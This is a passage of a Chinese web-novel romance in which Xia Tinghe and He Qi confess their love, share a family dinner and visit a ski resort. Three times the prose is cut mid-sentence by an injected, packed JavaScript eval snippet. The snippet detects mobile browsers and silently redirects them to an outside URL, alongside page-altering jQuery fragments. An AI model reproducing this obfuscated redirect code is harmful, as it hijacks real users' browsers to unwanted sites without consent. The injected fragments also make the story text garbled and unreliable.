直到爷爷去世。 所有痛苦和美好的回忆都在那时候终结。 从此只留下了对一切都随心所欲的他。 因为没什么重要的了。 没什么在乎他的人了。 - 夏汀禾找遍了老宅也没发现贺祁。她以为贺祁回了民宿，又跑回去了找人。 但还是没看见。 她给他打电话，也没人接。 对这里不熟悉，夏汀禾不敢到处跑。 白天容虞就陪着她找了一整天的人，到了晚上，容虞回家了，她也只好回了民宿的房间待着。 她进了浴室洗澡，想让自己放松下来。 告诉自己贺祁可能只是临时有什么事，去了别的地方，忘记和她说了。 热水从身上滑过，夏汀禾的耳边却止不住地响起今天一天在镇上听到的各种传言。 “唉，老贺家的孙子真是可怜。怎么爷爷年纪也不大，就发疯了呢，天天对着孙子拳打脚踢的。” “精神病是没办法。但他爸妈也真是的，好歹也别把孩子送到这儿来受苦啊，才几岁呢。这不得记一辈子啊。” “不过也真是倒霉，人啊，怎么说疯了就疯了。老贺年轻的时候还是镇上各家抢着要当女婿的呢。” “总之老人走了，也少了点折磨，现在人家家里都弄得好好的了。就小时候在这里带大的那个孙子，昨晚上我坐大巴的时候看见了，长得老漂亮了，个子又高，一米八多呢，身材看着也好。” …… 关了花洒，夏汀禾换了睡衣出来。她拿起手机准备再打一个电话试试。 这时候突然听到楼道里传来动静。 她迅速跑了出去。 开门看到贺祁的那一刻，夏汀禾鼻尖一酸，瞬间就红了眼眶。 贺祁靠在栏杆边上，抽着烟，眼神淡淡的，没什么光亮。 直到看到了她。 也没想到她会出来，贺祁很快就掐灭了烟，丢进了旁边的垃圾桶。 他笑了下，懒洋洋地问她：“听力这么好？我还以为我走路没什么声音。” 夏汀禾没回答。 几步路走过去，伸手抱住了他。 “……你以后再这样，我就会生气了。” “你哄多久，我都不会原谅了。” 明明是放狠话，她却是哭咽着说出来的。 贺祁一时间脑子一片空白。 75. 喜欢 刚洗完了澡，夏汀禾穿了件毛绒绒的睡衣，头发散落在肩头，身上还散发着温暖的热气。 她双手环抱着贺祁的腰，脸颊贴着他的肩膀。贺祁感觉到她皮肤的温度，近距离地听到了她的心跳。 他怔怔地定住了一会儿，缓了下后，才滚动了下喉结，垂眸看向了夏汀禾。 这次是因为他么？ 贺祁有些不敢置信。 之前见过的几次，都是因为付言辞。即便除去这个理由，他也从来没觉得会有人因为他的事伤心。 还是他喜欢的人。 贺祁很快反应过来：“你从别人那听到什么了？” 夏汀禾怕他不想透露自己的过去，没回答，只呜咽地说：“……都怪你突然不见了。” “我打电话给你，你也没接。” 她控诉着贺祁，声音还是温软的。 “我一点都不喜欢你了……” 听到了这最后一句，贺祁的心情莫名好了起来，他笑了下弯腰去问她：“又不喜欢了？” “啧，你什么时候开始的我都不知道。” 一不小心把心里话也说了出来，意识到这一点，夏汀禾猛地放开了手，后退了几步。 好在泪花也只是在眼眶里打转，她眨了眨眼，就消失了。 她靠在门上，手足无措道：“……我就是随便说的。” 贺祁也没追问，点了点头，转身准备回房间。 “行，那早点睡吧。” 他脸上又恢复了那样冷淡的神情。 他是不是还在伤心？ 有人陪着的话，应该会好一些吧。 一冲动，夏汀禾上前扯住了他的衣角。 贺祁回过头来看她：“嗯？” 眼下陪着的方法似乎只有一个，夏汀禾直接说出了口：“你不能……和我一起睡吗？” 贺祁明显愣了一两秒，随后扬了下嘴角，反问她：“确定？” 一刹那夏汀禾又重新在脑海里过了一遍自己的话，脸颊的温度一下子冲了上来，刚才的心疼什么都不管了，她直接跑回了屋子里，关上门。 “不确定！” 只是可惜，她没能关上，贺祁就抬手抵住了门。 他笑着问：“敢说不敢当啊？宝宝。” 这人怎么还记得这个称呼！ 夏汀禾十分后悔当时大冒险给他发了消息。 其实她要是强硬点，直接关上门，贺祁也不会阻拦，担心她磕到，贺祁没用什么力气。但夏汀禾转眼想到他刚才在门口抽烟的场景，心里还是有些松动了。 而且民宿的床也挺大的，就算他们俩睡在上面，也应该不会碰到。 她相信贺祁也不会对她做什么的。 这么说服了自己，夏汀禾忽地放开了手。 门一下子就打开了。 “……那你进来吧。”她低着头的，不用照镜子都知道自己的脸有多红。 她等待着。 隔了一会儿，贺祁还没进来，夏汀禾迷惑地抬头去看他。 贺祁一动没动，眼神却是极具有侵略性，那样紧盯着她，但很快就掩饰了过去。 “逗你玩的。”他笑了下，摸了下她的头，道：“以后别随便让别人进去。” “也别太相信我。” 说完，贺祁就转身回了自己房间。 - 隔日容虞来了民宿找他们，她先在夏汀禾的房门前敲了下。 等了会儿，却没有回应。疑惑着她是不是还在睡，于是又到了隔壁贺祁的屋前。 她正刚抬手，门就从里面被推开了。 出来的是夏汀禾。 两人对视了眼，夏汀禾在她脸上看到诧异的神情。意识到自己还在贺祁的房间里，她立即解释：“我是过来叫他起床的。” 越说似乎越乱，她索性直接道：“你是来找贺祁的吗？他还在洗漱，应该还要一会儿。” 容虞慢半拍点了点头：“哦。” 很快，她又笑了起来，说：“好。” “不过我是来找你的。我们这里没什么有趣的地方，唯一有特色的就是水库了。你想去看看吗？今天有空的话我可以带你去。” “可以啊。” 容虞太过热情，夏汀禾不好意思再拒绝别人。再者贺祁刚也和她说了，今天早上有事要去忙，没办法陪她。 容虞指了指屋内：“要问问贺祁吗？水库是他以前挺喜欢待的地方。” 夏汀禾回她说：“他有事，可能去不了。” 容虞应了下来：“行，那就我和你去。” 吃完了早餐，容虞就开车带着夏汀禾出发了。 离开民宿前，贺祁叮嘱夏汀禾说：“注意安全，别往水边走。” 她点点头说“知道了”，刚走出去几步路，又被贺祁叫住：“跟着容虞，别到处跑，那边容易迷路。” 容虞已经在旁边等了几分钟，夏汀禾不好意思地推了下他：“我又不是小孩，你快去吧，我走了。” 她还没见过山里的水库呢，听说树林环绕，很是漂亮。而且今天又出了太阳，正适合出门。 心里迫不及待起来。 坐进了车内，容虞主动和她聊天：“开车十几分钟就到了。你要是觉得无聊，可以看看窗外的风景，去的路上会有想不到的惊喜。” 夏汀禾听她的，一路上没看手机，盯着窗外。 和容虞说的一样，路上确实惊喜不断。 车越过农田、土地，不断上坡又下坡，窗外每隔不远就会突然出现聚集在一起的一大片房屋，夏汀禾远眺着可以看到坐在门前晒太阳的人们。有的人家里还养着猫狗，也会趴在地上睡觉。 十分温馨宁静的氛围。 十几分钟后，车停在了路边。 容虞说：“到了。” 夏汀禾下了车。 她们站在高地，水库就在下方，从护栏上往下看，波光粼粼的水面映入眼帘。 说是水库，其实更像是一个的小型湖泊，被连绵起伏的山给环绕着。三面环山，只有她们站着的地方有马路。 旁边就是休息的亭子，有不少前来游玩的人坐在里面歇息。 “那边。”容虞指了指一棵树下，“贺祁以前就喜欢在那坐着看别人钓鱼。” 很普通的一棵树，没什么特别的。到了冬天，地上已经全部都是落叶。 容虞笑了笑，又说：“有次他离家出走了，我找了好半天才在这里找到他的。” “离家出走？”夏汀禾很难想象是贺祁小时候会做出来的事。 容虞：“嗯。” 容虞没再解释，夏汀禾也猜到了原因。 “不过他现在应该不会喜欢这样坐着不动的活动了。”容虞看向了远方的水面，“前几年他回镇上，我问他要不要一起过来看看，他都拒绝了。” 容虞忽地看向了夏汀禾：“你昨天在这镇上待了一天，应该也有听到一些关于他的事情吧。” 夏汀禾：“有。” 容虞继续道：“对他来说，在这里的回忆可能并不快乐。但是因为贺爷爷，他每年还是都会回来。” “我每年最高兴的时候，也是他回来的那几天。” 心里像是突然被什么东西轻轻地撞击了一下，夏汀禾没说话了。 她隐约猜到了答案，只是不知道该怎么回应。 容虞却十分直白爽快地问她：“你是不是喜欢贺祁？” 这么直接地说了出来，夏汀禾一时间被问得有些发懵，但容虞对她毫无掩饰，犹豫了下，夏汀禾回她说：“嗯。” 容虞笑了起来，接了话：“我也喜欢他，喜欢很久了呢。” 原来真的和之前猜测的一样。 容虞对贺祁的了解、关心还有细节处目光的跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054727|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随……这些都是夏汀禾曾经有过的。 她也暗恋过，所以能感知到。 “……那你和他表白了吗？”问出这句话时，夏汀禾才觉得不太礼貌，立即又说：“抱歉，我……” “不用道歉。”容虞眨了眨眼，“我没有和他表白。” “你知道的，他这人很敏感。谁喜欢他，不喜欢他，他心里比任何人都清楚。” “高考完的时候，我是想告诉他来着。但还没说呢，他就先直接跟我说了，让我别喜欢他，以后肯定会有更适合我的人出现。” 阳光落在容虞的身上，她的笑也像是那么温暖。 “当时我真的很生气，我什么都还没说呢，就被拒绝了。我在家里哭了一星期，我爸妈都以为我考试考砸了。反正贺祁自从知道了我的心意，就开始和我保持距离了。亏我以前还一个劲地往他面前凑。” 容虞愤愤不平地说。 贺祁从来没和小镇上的同龄人有什么来往，容虞在小学的时候就注意到了他，尝试着和他做朋友。 但他这人孤僻冷漠，容虞当时废了老大的劲，才和贺祁熟起来。 想到以前一些上学时的场景，容虞觉得有些好笑。 她转过头对夏汀禾说：“他应该是喜欢你的。” “喜欢谁的时候，人总是下意识地就会关注对方的一切。很神奇，原来不会做的、不喜欢做的事情都会因为这个人改变。” 她娓娓道来地说了很多，夏汀禾在旁边听着，也看到了她眼里的伤感和释怀。 在水库待了一上午，准备回去时，夏汀禾收到了贺祁发的消息，说他的事情已经处理好了，他过来这边了。 见夏汀禾没上车，容虞问了句：“不走吗？” 夏汀禾不好意思地和她解释：“贺祁等下会来。” 容虞：“他来接你？” 夏汀禾：“……嗯。” 正说着，贺祁已经开着车，停在了她面前。 她们俩站在一块儿的，容虞却只看到他的视线落在了夏汀禾身上。 她低头看向了别处，对他们俩摆了摆手道：“那行，贺祁你过来了我就不负责了哦。我爸妈还等着我回去呢，拜拜啦。” 贺祁点了下头：“行。” 夏汀禾顿了顿。 本来在车上的时候，容虞还说下午想和她在民宿里多聊会儿天的。 她突然改变了主意，夏汀禾只好和她告了别。 - 容虞离开后，贺祁朝她走了过来。 “怎么玩了这么久？” 夏汀禾指了指远处的湖泊，说：“这里挺好看的啊。容虞和我介绍了很多呢。” “就介绍这些？”看她高兴的样子，贺祁也跟着笑了起来，问她：“没和你说我么？” 夏汀禾：“！” 盯着他看了一眼，夏汀禾很快收回视线。 “你有什么好说的……”她心虚得很。 贺祁十分了然：“那就是说了。” “说什么了？让我也听听？” 他们俩站在树下，贺祁侧着脸看向她。 感受到灼热的目光跟随着自己，夏汀禾觉得不满，推了下他，道：“为什么总是让我说？就知道让我主动……” 她一点儿也不想先表明心意了。 被拒绝过一次后，心里就总觉得再有一次，肯定又会重蹈覆辙。 “主动什么？” 贺祁似乎真就什么都不懂一般问她，但看到他眼里的笑，夏汀禾就知道他是故意的。 “没什么！” 夏汀禾撒气似的凶了他一下。 她往前走，打算自己开车回去，把贺祁一个人丢这里算了。 只是刚走出去，手腕被人拉住。 贺祁把她拽到了自己怀里。 没有犹豫。 他捧着她的脸，低头亲了上去。 76. 意义 午后的光线并不强烈，穿过枝叶细碎地落在他们之间，映下两道紧密相拥的影子。 在贺祁拉住她的那一刻，夏汀禾就慌了神。许久许久，没了动作，只有手下意识地攥住了他的衣角。 任由贺祁这么抱着自己亲了好一会儿。 直到旁边有人过来了，夏汀禾这才推开了他，好好整理了一下衣服。 贺祁什么也没说，也没做，就这样静静地看着她。 原来和喜欢的人接吻是这种感觉。 他愣了片刻。 等夏汀禾问他时，贺祁才从思绪中抽离出来。 “……你为什么亲我？”她低着头的，也没看他，脸颊却是白里透红的。 因为喜欢你。 不由自主地就想亲近你的一切。 放在平常，贺祁能很轻易地说出来这些，和她调侃逗乐，什么都能十分坦荡地讲。 然而真到了这时，被追问了原因，贺祁才发觉他好像有点说不出来。 他能很确切地明白，自己从很久以前就开始喜欢夏汀禾了。 这点毋庸置疑。 只是，以后呢？ 他能让夏汀禾喜欢他多久？ 夏汀禾还在等着他的回答，贺祁看向了她，道：“你昨天晚上不是抱我了？” “那又怎么样？”夏汀禾抿了下唇，不好意思起来：“……那只是为安慰你。” “没有喜欢？” 他突然把这个词抛了出来，夏汀禾心脏猛地一跳。 他们就像是博弈着、试探着，都等着对方先说出真心。 “夏汀禾，喜欢我吗？”贺祁又问了一遍。 他不像往常那样漫不经心的，而是十分认真的在问她。 眼里的期待和不确定的情绪共存。 夏汀禾没去看他，只觉得有些奇怪。 “明明是你亲了我，为什么要问我？不应该是我问你吗……” 她还没反驳完，贺祁已经接了她的话 ——“嗯，我喜欢你。” 仔细听的话，其实能辨别出他话里的语调和以前有些不同。 他紧张了。 “你呢？”他这时候抓住了夏汀禾的手，不让她再后退一步。 他害怕听到其他的答案。 尤其是在夏汀禾被抓住时，有些心惊胆战地似的看了他一眼。 不过，他的担心多余了。 过了会儿，夏汀禾让他抓着自己，另一只手则攀上了他的肩膀。 她没有纠结，鼓起勇气，踮起脚在他脸上亲了一口。 “我也是。” 夏汀禾笑了起来，眼睛亮晶晶地看向他。 “我也喜欢你，贺祁。” 贺祁第一次知道。 原来人在听到这句话时，心脏会疯狂跳动。 - 两个人又牵着手在水库周边转了一圈。偶尔有风从湖泊上吹过来，带着丝丝凉意。 以前都有聊不完的话，这时候反而安静下来，变得生涩。 “怎么不说话？”贺祁先开了口，他脸皮厚，毫无顾忌地就问出来：“亲一下就害羞了？” 夏汀禾瞪了他一眼：“我才没有……” 她还想说刚刚她踮脚亲完之后，不知道是谁站在那愣了半天呢。 “亲一下而已，有什么好害羞的。”她硬着头皮说了出来。 “胆子这么大？”偏偏贺祁抓住她这句话不放，“看来其他的也能接受？” “什么其他的？”夏汀禾一时间没反应过来。 直到贺祁提醒了一句：“昨晚上不是还问我要不要……” 他没能说完，夏汀禾已经抬手捂住了他。 贺祁没出声了，那样笑着盯着她看，漆黑深邃的眼眸里表露出的是前所未有的愉悦和爱意。 夏汀禾被勾得沦陷了一两秒，反应过来后扭头就走。 “不和你说了，我要回去了。” 贺祁跟了上来，扣住了她的手。 贺祁问她：“想去哪？” 夏汀禾想了想，回他说：“去一些你以前经常去的地方，可以吗？” 贺祁答应了。 他先带她去了自己以前的学校，告诉夏汀禾他会走哪条路过去、会在什么地方买零食吃、喜欢去哪玩。 他这样说着，转了一圈之后，打算带她去下一个地方。 夏汀禾却让他等等。 “怎么了？” 他看着夏汀禾进了一家店铺，片刻后，买了东西出来。 是一盒玻璃弹珠。 第一次接触这类东西，夏汀禾好奇地打开来，拿了一颗在手上看，问他：“你刚说你小时候喜欢这个？为什么？” 心里忽地被触动了，贺祁看了她许久。 “也算不上喜欢吧。”贺祁笑了下，回她说，“这个以前在班上很流行。” 他刚转学到这边时，也想融入班级，所以为了合群也会跟着其他人买一些东西。 只是后来才想明白，能不能合群和东西无关。 他这么说，夏汀禾大概也猜到了原因。 她晃了晃贺祁的手臂：“那你教我。这个怎么玩？” 于是两个二十岁的人，混在一群小朋友里玩了一下午的弹珠。分别时，公园里的小孩还十分有礼貌地和他们道了别。 贺祁又带她去了一些小时候常去逛的集市、餐馆、游乐场等等。 不到一个下午，他就带她走遍了。 “也就这些吧。”贺祁偏头和她说，“是不是有点无聊？” 他以前最常做的事还是待在家里，因为没有多少认识的人，也没有多少机会被爷爷带着出去玩。 所以去的地方并没有多少。 “不无聊。”夏汀禾回他说：“我觉得挺有意思的。” “为什么？”贺祁挺意外的。 夏汀禾指了指旁边的一条路，问他：“你看，你小时候是不是会从那边过来，去到对面的早点店买吃的？” 贺祁点了点头：“昂。” 夏汀禾笑了起来：“这个就很有趣啊。” 这些都是和你有关的。 我喜欢你。 所以这些我都觉得有意义，都想要去了解。 - 回民宿前，贺祁绕道去了一趟老宅送钥匙给爷爷的旧友，让人帮忙保管着。 他们是打算在这边再多待个一两天到处转转就回去了，老宅这边便不会再过来。 只是刚停下车，贺祁便看到了有人在门口站着。 “是叔叔阿姨吗？”夏汀禾从车窗上也瞥见了。 远远地瞧见副驾驶上还有人，贺母先高兴地过来打招呼：“汀禾？原来你和贺祁一起过来了啊？” 两口子手上还拎着菜，看着像是刚从菜市场回来。 贺祁没想到他们会来。 以前他也过问过，只是两人都会以各种理由推脱，久而久之，贺祁便没再问他们的意见了。 他开了车门下来，打算接过贺母手上的袋子，贺母却直接丢给了旁边的丈夫。 “让你爸拿进去就行，买了点菜，在你小爷爷家做，咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058199|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起吃。” 小爷爷是贺祁对爷爷旧友的称呼。 几个人往宅院里走去，贺母下意识地伸手去拍儿子的肩膀，想起他之前的回避之后，转而又改成挽住了夏汀禾的手臂。 “汀禾应该还没吃过当地的特色菜吧？叔叔阿姨做一手给你尝尝。” 夏汀禾更加紧张了些。 她不好拒绝，也只能应下来说谢谢。 瞧见她绷直了背，贺祁笑了下，在她耳侧轻声说：“紧张什么？只有儿媳才有机会吃。” 他们俩是并排着的，夏汀禾没忍住掐了他一下。 只是在贺母好奇地看过来时，她又立即收了手。 “怎么了？” 夏汀禾迅速摇头：“……没事。” - 贺祁的父母做了一桌子的菜，各式花样的让贺爷爷的旧友都吓了一跳。 “怎么做这么多？本来就是来做客的，反倒让你们下厨了。” 这家里只有一对老夫妻和儿子女儿，夫妻俩和贺爷爷是年少时认识的，关系十分亲切。夏汀禾看得出来，贺祁的父母也对老人家非常敬重。 几个人围着圆桌坐下，老爷爷和蔼地看了眼夏汀禾，道：“是因为小祁带了女朋友回来？” 贺母看了看他们俩，正打算解释，贺祁已经开了口：“嗯，是我女朋友。没想到这么快就被爷爷您发现了。” 贺父贺母同时诧异地望了过来，夏汀禾瞬间就低下了头。 她也没想到贺祁这么快就说出来了。 他们在一起还没有一天呢。 老爷爷不清楚他们的事，只真心实意地说：“挺好挺好。什么时候结婚也记得和我这个老头子说一声，我肯定要去喝酒的。” 越说越远了，夏汀禾的耳朵已经红得没法看。 贺祁倒是十分自在地应下：“还早，不过办了的话，肯定的。” 夏汀禾在桌底下拽了下他的衣角，想叫他别说了。 贺祁会意，及时止住了，但手上的动作没停，直接伸手扣住了她，在夏汀禾的手心挠了挠。 这种聚餐是贺祁应对惯了的，有时候话题引到了夏汀禾身上，他也会巧妙地转开，把在座的几位长辈都说得开怀大笑。 夏汀禾只需要回答些基本的问话，其余的都可以交给他来处理。 一顿饭下来，贺祁几乎没吃几口，中间歇息的几分钟，也光顾着给夏汀禾夹菜了。 他早就摸清楚了夏汀禾口味，把她会喜欢的都弄了一些放在了她碗里。 这是夏汀禾来这边后吃得最满足的一顿。 饭后也没闲着，怕夏汀禾和一群长辈待在一块儿不自在，贺祁带了她去周边的广场散步。 回来后已经是十点，各自准备回房间睡觉。 夏汀禾刚关上门，贺祁又敲了下。 “干嘛……” 夏汀禾有点担心他又把昨晚上自己说的那句搬出来。 不过贺祁一只手撑着门边上，另一只手还有点无处安放。 他问了一些有的没的。 “准备洗澡了？” 夏汀禾点点头：“嗯。” 贺祁：“放好热水了？” 夏汀禾：“正在放。” 贺祁：“明天还想去哪玩？” 夏汀禾：“我都可以啊。” 几轮对话下来，夏汀禾也没明白他想做什么，索性直接问了：“还有什么事吗？” “没什么。” 贺祁突然低下头来，闭着眼碰了下她的额头。 神情十分眷念。 77. 接吻 从夏汀禾房间出来后，贺祁下了楼，打算去外面随便逛逛。 刚到大厅，就正好碰上从门外进来的贺父。 贺父性子温润话少，两个人平时交流也不多。突然单独碰上，总有种说不出来的局促感。 贺祁先打了招呼：“爸。” 贺父点了点头，问：“这么晚了，要去外面？” “嗯，出去逛逛。” 贺父望楼梯口看了看，努力想出一句话来问：“汀禾不和你一起？” 贺祁自然地回应说：“她有点累了，想早点休息。” 贺父了然地应了一声，又不怎么自在地往身后望了下，指了指对面的超市，说：“你妈买东西去了，也不知道买的什么，这么久了还没回来。” 贺祁笑了笑：“可能看到了什么有意思的吧。” “也是。你妈就小孩性子，碰上好玩的就走不动道了。” 贺父尽量自然地和他聊着天，在两个人都安静下来后，才突然说起：“我和你一起出去走走？” 他用的是商量的语气，似乎有点怕贺祁不答应。 但是贺祁很快就接受了：“行，不过爸你衣服穿够了吗？” 他回复得太快，贺父都愣了下，随后才跟着他的话说：“哦，衣服啊。” 贺父外面只套了件普通的运动服，看着没穿多少。晚上天冷，贺祁才会这么问。 “我里面穿了件羽绒服马甲，轻薄又暖和，看不出来是吧？” 贺父笑了下：“你妈上次逛商场的时候给我买的。” “你早上也记得穿得厚点，这边温度低。” 贺祁点头应了下来。 两个人往外走去，沿着马路闲逛着。好在没什么风，倒也算得上是夜里散步的好时候。 正是夜市美食街最热闹的点，从一众孜然辣椒各种味道旁走过，贺父假装不经意地找话题：“这家的铁板烧看着不错，挺干净的。” “哎，那还有卖烤鱿鱼的，那么大一串啊。真有那么大的鱿鱼？” 他看摊位面前站着的几乎都是和贺祁年纪差不多大的，自然而然地以为贺祁也会喜欢。 “儿子，有没有想吃的？” 贺祁其实挺难忍受这里的气味。 “不用了。”他笑着回了一句，“晚上吃你和妈做的饭菜已经饱了。” 贺父都已经准备过去买了，听到他这么说，只得又停住了脚。 贺祁稍微加快了步子，离开了这儿。 贺父跟在他身后，忽地看到有东西从他身上掉下来。他弯腰拾起，叫住了贺祁。 “这什么？” 是下午夏汀禾买的玻璃弹珠，他当时挑了一颗放进了口袋，后来便忘记了拿出来。 “小孩喜欢玩的。”贺祁淡淡地回了一句，又把弹珠从他手中拿了回来。 贺父愣了愣，没再问为什么他会收着小孩喜欢玩的东西。 两个人到底是没有在外面转多久，因为没什么话聊，除了尴尬，也没别的。 回了民宿，两人不住一个地方，分头走，贺祁说了晚安，就上了楼。 路过夏汀禾的房间，他往屋内看了眼，已经关了灯。 这时候天空开始飘起雪花，有些落到了贺祁手上。 下雪了。 一直期待着的人却睡着了。 想到这里，贺祁不自觉地笑了下。 他凭着栏杆拍了一张照片，打算明天给夏汀禾看。 - 这是冬日里的第一场雪，只下了一两个小时便停了。 夏汀禾第二天知道这个消息后，气鼓鼓地问贺祁为什么不叫她一起看。 “你都睡了，还叫你起来？”两个人挨着坐在餐桌旁，贺祁忍不住笑起来看向她。 夏汀禾回他说：“睡觉什么时候都可以睡，但是这个错过了就看不到了。” 现在她只能看照片了。 “今晚还有可能，再等等。如果下了，一定叫你起来，行么？” 贺祁捏了下她的脸。 毕竟是自己早早地歇下了，夏汀禾也不好再说什么，于是又低着头开始吃早餐。 这时候桌上的手机响了一声。 夏汀禾抬眸去看。 是罗欣发过来的一条语音。 罗欣和她聊的大多数是和工作、日常生活有关的，夏汀禾没避开贺祁，直接点开了来听。 “汀禾，你知道吗？我今天居然碰到了以前的暗恋对象！就之前和你说过的那个网恋男生。我现在还是有点犹豫要不要去追他，你知道的，人总是对十几岁时候喜欢的人有种莫名的感情……” 只听了个开头，夏汀禾便手忙脚乱地去掐断了。 只可惜，还是晚了。贺祁自然是听到了。 不过他也没说什么，只顿了下，又继续若无其事地给夏汀禾倒水。 夏汀禾小心地瞥了眼他。 看他似乎是真的没放在心上，才松了口气。 他们都在一起了，贺祁应该不会再在意那些事了。 说好了今天去隔壁的县区逛逛，吃完了早餐，夏汀禾便回了房间换衣服。没多久，换好了下来，贺祁和她说了声先去车库开车。 夏汀禾趁着这个时候听完了罗欣的语音。 “……你现在和你之前的那个暗恋对象怎么样了呀？” 夏汀禾回了她：【我拒绝他了】 罗欣大为惊讶：【为什么？】 夏汀禾：【我和贺祁在一起了】 罗欣更加震惊了：【啊？？？什么时候的事？这么迅速的吗？】 夏汀禾：【就是昨天在一起的】 罗欣思考了一会儿，才继续问她：【那你怎么放下的？之前喜欢的那个】 夏汀禾：【就是后来发现，可能也没那么喜欢】 罗欣：【那也是。如果没那么喜欢了，在一起也没必要】 忍不住要分享激动的心情，罗欣又给她发了一次语音过来。 “我本来也以为自己不会再喜欢他了，但是今天见面，他居然认出我了，还问我要不要一起去玩，我真的就是控制不住地心脏狂跳啊啊啊啊啊啊。” 隔着手机，夏汀禾也能感受到她的喜悦。 夏汀禾：【那尝试一下？可能会有想不到的结果】 罗欣：【我也这样想的，不过我得先冷静冷静】 罗欣：【等你什么时候回来，我再和你说可以吗？你会不会嫌我烦】 夏汀禾：【不会，当然可以】 这一句收尾，正好聊完了天，贺祁过来了。 夏汀禾收了手机，坐进了车内。 隔壁县区不算远，一小时的车程就抵达了。他们去的是山上的滑雪场，于是又多绕了一圈。 滑雪场是是设置再室内的，场地不大，只有中间一个滑雪区，坡度也不陡，旁边则是传送的扶梯。 大部分新手都是从坡道滑到底部的平台，再坐扶梯上来，循环往复，尝试一下就够了。厉害点的，就会在滑雪区自由地前进倒退。 因为之前也和室友一起玩过，夏汀禾还留着一点肌肉记忆。 不过到底是不怎么熟练，换好滑雪服，拿上板子后，站在上方的平台，她还是选择一次性滑到底。 刚开始还有点害怕，后来熟悉起来，便越玩越起劲了，心里是前所未有的畅快。 中途贺祁去接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064796|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个导师的电话，她于是又自己在场地里玩了好几个来回。 半小时后，有点疲惫了，打算乘着扶梯上去时，夏汀禾往前一踏，忽地感觉在雪地里踩到了什么。 抬起了下雪镜，夏汀禾捡起来看。 是一块石英手表。 不知道是谁的。 她四处张望了下，寻找失主。 这时候有人拍了下她的肩膀。 “诶。” 夏汀禾回头一看。 站在面前的是一个估摸着十八九岁的少年，五官精致，长相算是出众的那一类。 “姐姐，那是我的手表。”男生对她笑了笑，指了下她手中的那块表。 夏汀禾把东西还给了他。 男生礼貌地道谢：“谢谢啦。” 夏汀禾只当这是小插曲，回了一句“没关系”，便踏上了扶梯继续往前走。 没想到男生这时候跟了上来：“为了表示感谢，我请你吃顿饭怎么样啊姐姐？” 夏汀禾以前并不是没有被搭讪过，只是这么主动的，她还是头一次见。 “不用了。”她和男生隔远了些，解释说：“我只是随手捡的，没费什么力气。” “好吧好吧。”男生露出有些失落的神情，“那我可以跟着你一块玩吗？我朋友他们都有事去了，我一个人在这儿，好无聊。” 夏汀禾拒绝了：“抱歉，我不喜欢和不认识的人一起。” 正说着，扶梯已经到了最上方的平台。正好贺祁打完了电话，进了滑雪场。 看到夏汀禾身后跟着个男生，贺祁直接走了过去。 “你回来啦？”夏汀禾眼睛一亮，本能地靠近了他身边。 贺祁问她：“你朋友？” 夏汀禾摇头：“不是，我不认识。” 男生无辜地眨了下眼，惊讶道：“姐姐你刚刚都帮我忙了，我们还不认识吗？” 放在别人身上，可能会觉得有些无赖。但偏偏男生不仅长了一张好看的脸，说出来也难以让人感到厌烦。 男生自认为掐准了像夏汀禾这一类乖巧的女生都吃这一套，所以愈发地肆无忌惮起来。 只是等他看向贺祁之后，又不由得愣了下。 贺祁比他高半个头，微垂着眼眸看向他，脸上十分平静。 看向他的眼里只有一种情绪 ——厌恶。 只是在夏汀禾望过去时，这人又很快地变了脸。 贺祁笑了下，刚才的情绪似乎一瞬间荡然无存，让男生都怀疑自己是不是看花眼了。 他听到贺祁非常友善地问：“行，没问题。所以你是想和我们一起玩？” 他脸上带着笑的，声音也平稳，男生却觉得比刚才还有攻击性。 他原本还以为贺祁是个好说话的。 第一次碰见这样的，男生很快又自己调理好了：“不过既然你的朋友在这儿，那我就不打扰了。姐姐下次有空再见啊。” 说完，男生就拿着滑雪板走了。 贺祁这时候转过身来，正对着夏汀禾，看到她的领口乱了，伸手帮她整理了下。 夏汀禾感觉到他的不悦，小心翼翼地抬眸去看。 贺祁好像又没有什么变化。 直到突然听到他平静地问：“帮他什么了？” “没什么……”夏汀禾快速地和贺祁解释：“就是捡了他的手表，然后还给了他。” “嗯。”贺祁淡淡地应了一声。 脸上的神情看不出来情绪。 在夏汀禾以为算是结束了后，贺祁忽地又抬起她的下巴，低头亲了她。 他右手扣住了她的腰，夏汀禾几乎动弹不了。 78. 黏人 虽然是在角落，但夏汀禾还是不习惯在人多的时候做这些。只是看他是真的又吃醋了，因此也没拒绝。 在有人过来时，夏汀禾才推了推他。 “好啦……” 亲完后，贺祁果然没再计较，心情颇好地问她：“刚玩了几圈？” 夏汀禾想了想：“六七圈吧。” 她抿了下唇控诉：“都怪旁边的扶梯，不然我肯定可以多玩几次。” 上下扶梯至少花了她一半的时间，中途还得不停地拿起放下滑雪板。 